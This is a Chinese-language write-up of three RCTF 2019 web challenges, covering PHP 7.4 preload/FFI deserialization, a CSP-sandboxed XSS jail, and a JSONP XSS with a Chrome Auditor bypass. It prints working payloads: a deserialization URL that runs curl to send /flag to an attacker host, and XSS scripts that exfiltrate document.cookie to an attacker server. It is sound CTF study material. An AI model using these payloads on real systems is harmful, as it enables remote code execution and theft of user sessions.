RCTF 2019 web 回顾

  ctf

0x00前言

最近事真多,各种比赛各种考试。。。RCTF实在没时间打,现在回来研究研究

0x01 nextphp

打开网页,出现是一个后门的代码,用蚁剑连接一下,发现了preload.php文件,如下

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

首先用phpinfo查看一下大致信息

PHP的版本是7.4,open_basedir为/var/www/html,同时看到该过滤的都过滤完了,绕过disable_function基本上不可能了,还看到了如下的信息

所以将注意力放在preload.php上面,该代码实现了一个抽象的接口类,我们可以通过它进行自定义的放序列化的功能。这里的unserialize的作用是改变$data数组中函数的功能,getshell已经没有比要,因为已经留了一个一句话木马给我们,因此尝试查查preload。在Wiki上发现这个是php7.4新特性,再google下php7.4新特性,在第一篇文章就有详细的介绍.

RFC(预加载),是作为opcache的一部分实现的,文章中说到

In short: if you're using a framework today, its files have to be loaded and recompiled on every request. Preloading allows the server to load PHP files in memory on startup, and have them permanently available to all subsequent requests.

The performance gain comes of course with a cost: if the source of preloaded files are changed, the server has to be restarted.

意思大致就是,在服务器启动时 - 在运行任何应用程序代码之前 - 我们可以将一组PHP文件加载到内存中 - 并使其内容“永久可用”到该服务器将服务的所有后续请求。这些文件中定义的所有函数和类将可用于开箱即用的请求,与内部实体完全相同(例如strlen()或Exception)。再让我们看看phpinfo中的opcache.preload参数,正好指向preload.php脚本,继续阅读发现一条

In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones

官方说危险?继续搜索FFI,从文档中找到

Foreign function interface 

Foreign Function Interface, FFI in short, allows calling C code from userland. This means that PHP extensions can be written in pure PHP.

It should be noted that this is a complex topic. You still need C knowledge to be able to correctly use this feature.

该函数能够直接调用C代码,其用法为

<?php
$libc = FFI::cdef("
    int printf(const char *format, ...);
    const char * getenv(const char *);
    unsigned int time(unsigned int *);

    typedef unsigned int time_t;
    typedef unsigned int suseconds_t;

    struct timeval {
        time_t      tv_sec;
        suseconds_t tv_usec;
    };

    struct timezone {
        int tz_minuteswest;
        int tz_dsttime;
    };

	int gettimeofday(struct timeval *tv, struct timezone *tz);
", "libc.so.6");

$libc->printf("Hello World from %s!\n", "PHP");
var_dump($libc->getenv("PATH"));
var_dump($libc->time(null));

$tv = $libc->new("struct timeval");
$tz = $libc->new("struct timezone");
$libc->gettimeofday(FFI::addr($tv), FFI::addr($tz));
var_dump($tv->tv_sec, $tv->tv_usec, $tz);
?>

结果为

Hello World from PHP!
string(135) "/usr/lib64/qt-3.3/bin:/usr/lib64/ccache:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/home/dmitry/.local/bin:/home/dmitry/bin"
int(1523617815)
int(1523617815)
int(977765)
object(FFI\CData:<struct>)#3 (2) {
  ["tz_minuteswest"]=>
  int(-180)
  ["tz_dsttime"]=>
  int(0)
}

因此尝试直接让PHP调用FFI来执行C语言命令,写出利用脚本

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int php_exec(int type , char *cmds)'
    ];

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }
    public function __construct (){

    }

}


$c = new A ;
echo serialize($c);

构造payload

http://nextphp.2019.rctf.rois.io/?a=http://nextphp.2019.rctf.rois.io/?a=$a=unserialize('C:1:%22A%22:98:%7Ba:3:%7Bs:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:35:%22int%20php_exec(int%20type%20,%20char%20*cmds)%22;%7D%7D');var_dump($a-%3Eret-%3Ephp_exec(2,'curl%20{{vps}}/?$(cat%20/flag%20%7C%20base64)'));%0A

得到flag

RCTF{Do_y0u_l1ke_php74?}

 

0x02 jail

首先题目给出了两个hint

登录之后有三个页面,一个留言版、提交信息的地方和删除所有的留言,你可以将你的postid上交给管理员来看,所以测试XSS,在查看留言页面,在header里面给出了两个hint

同时在avater可以上传文件,但是测试之后没有发现问题存在。。。在留言处还发现了CSP

Content-Security-Policy:sandbox allow-scripts allow-same-origin; base-uri 'none';default-src 'self';script-src 'unsafe-inline' 'self';connect-src 'none';object-src 'none';frame-src 'none';font-src data: 'self';style-src 'unsafe-inline' 'self';

因此我们要打到admin的cookie,使用payload

<svg/onload="location.href='http://<vps>/?'+document.cookie">

在firefox中能够回显,但是在chrom则没有回回显,提交以下id给admin,没有回显,因此推断可能是chrome版本的bot,发现chrome头文件上面有一段js代码

window.addEventListener("beforeunload", function (event) {
  event.returnValue = "Are you sure want to exit?"
  return "Are you sure want to exit?"
})
Object.freeze(document.location) 

这里将document.location给移除了,然后没了思路。。。看看wirteup,说查看location的定义,发现可以改变location的hostname,因此payload为

<script>
function stringToHex(str){
    var string="";
    for(var i = 0; i < str.length; i++){
      if(string== "")
        string= str.charCodeAt(i).toString(16);
      else
        string+= str.charCodeAt(i).toString(16);
    }
    return string;
  }
location.hostname=stringToHex(document.cookie).substr(0,60)+".vps"
//location.hostname=stringToHex(document.cookie).substr(60,60)+".vps"
</script>

得到cookie的值

得到flag

0x03 rblog

在主页面的源码中看到有有一个rblog.js,查看源码

axios.get('/api/v2/posts').then(
  resp => {
    let html = ''
    if (resp.data.status) {
      for (let i of resp.data.data) {
        html += `<a href="${i.markdown_url}">${i.title}</a>\r\n`
      }
    } else {
      html += `;_; ${resp.message}`
    }
    document.body.children[0].innerHTML = html
  }
)

发现调用了/api/v2/posts的路径,进去之后发现返回了三篇writeup,并没有发现可利用的点,回到主页面诸葛点击writeup,发现第一个writeup跳转的页面是一个报告XSS的点

给出了机器人的版本,推断又是一个XSS的点,因此继续进行测试,在api的页面虽有输入另一个测试https://rblog.2019.rctf.rois.io/api/v2/posts/<script>alert(String.fromCharCode(88, 83, 83))</script>,发现了返回信息

推测可能存在self-xss,但是又不解析。同时题目还给了hint API supports JSONP.,同时发现v是版本的意思,因此使用如下链接继续测试

https://rblog.2019.rctf.rois.io/api/v1/posts?callback=tests

这次有了回显,同时也发现了<iframe>标签可以使用

因此可以使用payload进行测试

https://rblog.2019.rctf.rois.io/api/v1/posts/<iframe srcdoc="&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x20;&#x73;&#x72;&#x63;&#x3d;&#x68;&#x74;&#x74;&#x70;&#x73;&#x3a;&#x2f;&#x2f;&#x72;&#x62;&#x6c;&#x6f;&#x67;&#x2e;&#x32;&#x30;&#x31;&#x39;&#x2e;&#x72;&#x63;&#x74;&#x66;&#x2e;&#x72;&#x6f;&#x69;&#x73;&#x2e;&#x69;&#x6f;&#x2f;&#x61;&#x70;&#x69;&#x2f;&#x76;&#x31;&#x2f;&#x70;&#x6f;&#x73;&#x74;&#x73;&#x3f;&#x63;&#x61;&#x6c;&#x6c;&#x62;&#x61;&#x63;&#x6b;&#x3d;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3b;&#x63;&#x6f;&#x6e;&#x73;&#x6f;&#x6c;&#x65;&#x2e;&#x6c;&#x6f;&#x67;&#x3e;&#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;">

firefox成功弹窗

但是因为题目机器人是chrome的,因此我们需要绕过chrome Auditor的拦截。看一下writeup....发现使用中文句号会被unicode编码,因此我们使用来绕过chrome编码

https://rblog.2019.rctf.rois.io/api/v1/posts/%3Ciframe%20srcdoc=。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。%26%23%78%33%63%3b%26%23%78%37%33%3b%26%23%78%36%33%3b%26%23%78%37%32%3b%26%23%78%36%39%3b%26%23%78%37%30%3b%26%23%78%37%34%3b%26%23%78%32%30%3b%26%23%78%37%33%3b%26%23%78%37%32%3b%26%23%78%36%33%3b%26%23%78%33%64%3b%26%23%78%32%32%3b%26%23%78%36%38%3b%26%23%78%37%34%3b%26%23%78%37%34%3b%26%23%78%37%30%3b%26%23%78%37%33%3b%26%23%78%33%61%3b%26%23%78%32%66%3b%26%23%78%32%66%3b%26%23%78%37%32%3b%26%23%78%36%32%3b%26%23%78%36%63%3b%26%23%78%36%66%3b%26%23%78%36%37%3b%26%23%78%32%65%3b%26%23%78%33%32%3b%26%23%78%33%30%3b%26%23%78%33%31%3b%26%23%78%33%39%3b%26%23%78%32%65%3b%26%23%78%37%32%3b%26%23%78%36%33%3b%26%23%78%37%34%3b%26%23%78%36%36%3b%26%23%78%32%65%3b%26%23%78%37%32%3b%26%23%78%36%66%3b%26%23%78%36%39%3b%26%23%78%37%33%3b%26%23%78%32%65%3b%26%23%78%36%39%3b%26%23%78%36%66%3b%26%23%78%32%66%3b%26%23%78%36%31%3b%26%23%78%37%30%3b%26%23%78%36%39%3b%26%23%78%32%66%3b%26%23%78%37%36%3b%26%23%78%33%31%3b%26%23%78%32%66%3b%26%23%78%37%30%3b%26%23%78%36%66%3b%26%23%78%37%33%3b%26%23%78%37%34%3b%26%23%78%37%33%3b%26%23%78%33%66%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%36%63%3b%26%23%78%36%63%3b%26%23%78%36%32%3b%26%23%78%36%31%3b%26%23%78%36%33%3b%26%23%78%36%62%3b%26%23%78%33%64%3b%26%23%78%37%30%3b%26%23%78%36%31%3b%26%23%78%37%32%3b%26%23%78%36%35%3b%26%23%78%36%65%3b%26%23%78%37%34%3b%26%23%78%32%65%3b%26%23%78%36%63%3b%26%23%78%36%66%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%37%34%3b%26%23%78%36%39%3b%26%23%78%36%66%3b%26%23%78%36%65%3b%26%23%78%32%65%3b%26%23%78%36%38%3b%26%23%78%37%32%3b%26%23%78%36%35%3b%26%23%78%36%36%3b%26%23%78%33%64%3b%26%23%78%32%37%3b%26%23%78%36%38%3b%26%23%78%37%34%3b%26%23%78%37%34%3b%26%23%78%37%30%3b%26%23%78%33%61%3b%26%23%78%32%66%3b%26%23%78%32%66%3b%26%23%78%33%38%3b%26%23%78%33%36%3b%26%23%78%33%32%3b%26%23%78%36%63%3b%26%23%78%37%37%3b%26%23%78%33%33%3b%26%23%78%32%65%3b%26%23%78%36%33%3b%26%23%78%36%35%3b%26%23%78%37%39%3b%26%23%78%36%35%3b%26%23%78%32%65%3b%26%23%78%36%39%3b%26%23%78%36%66%3b%26%23%78%32%66%3b%26%23%78%33%66%3b%26%23%78%32%37%3b%26%23%78%32%35%3b%26%23%78%33%32%3b%26%23%78%36%32%3b%26%23%78%36%34%3b%26%23%78%36%66%3b%26%23%78%36%33%3b%26%23%78%37%35%3b%26%23%78%36%64%3b%26%23%78%36%35%3b%26%23%78%36%65%3b%26%23%78%37%34%3b%26%23%78%32%65%3b%26%23%78%36%33%3b%26%23%78%36%66%3b%26%23%78%36%66%3b%26%23%78%36%62%3b%26%23%78%36%39%3b%26%23%78%36%35%3b%26%23%78%33%62%3b%26%23%78%36%33%3b%26%23%78%36%66%3b%26%23%78%36%65%3b%26%23%78%37%33%3b%26%23%78%36%66%3b%26%23%78%36%63%3b%26%23%78%36%35%3b%26%23%78%32%65%3b%26%23%78%36%63%3b%26%23%78%36%66%3b%26%23%78%36%37%3b%26%23%78%32%32%3b%26%23%78%33%65%3b%26%23%78%33%63%3b%26%23%78%32%66%3b%26%23%78%37%33%3b%26%23%78%36%33%3b%26%23%78%37%32%3b%26%23%78%36%39%3b%26%23%78%37%30%3b%26%23%78%37%34%3b%26%23%78%33%65%3b%3e

得到flag

RCTF{uwu_easy_bypass_with_escaped_unicode}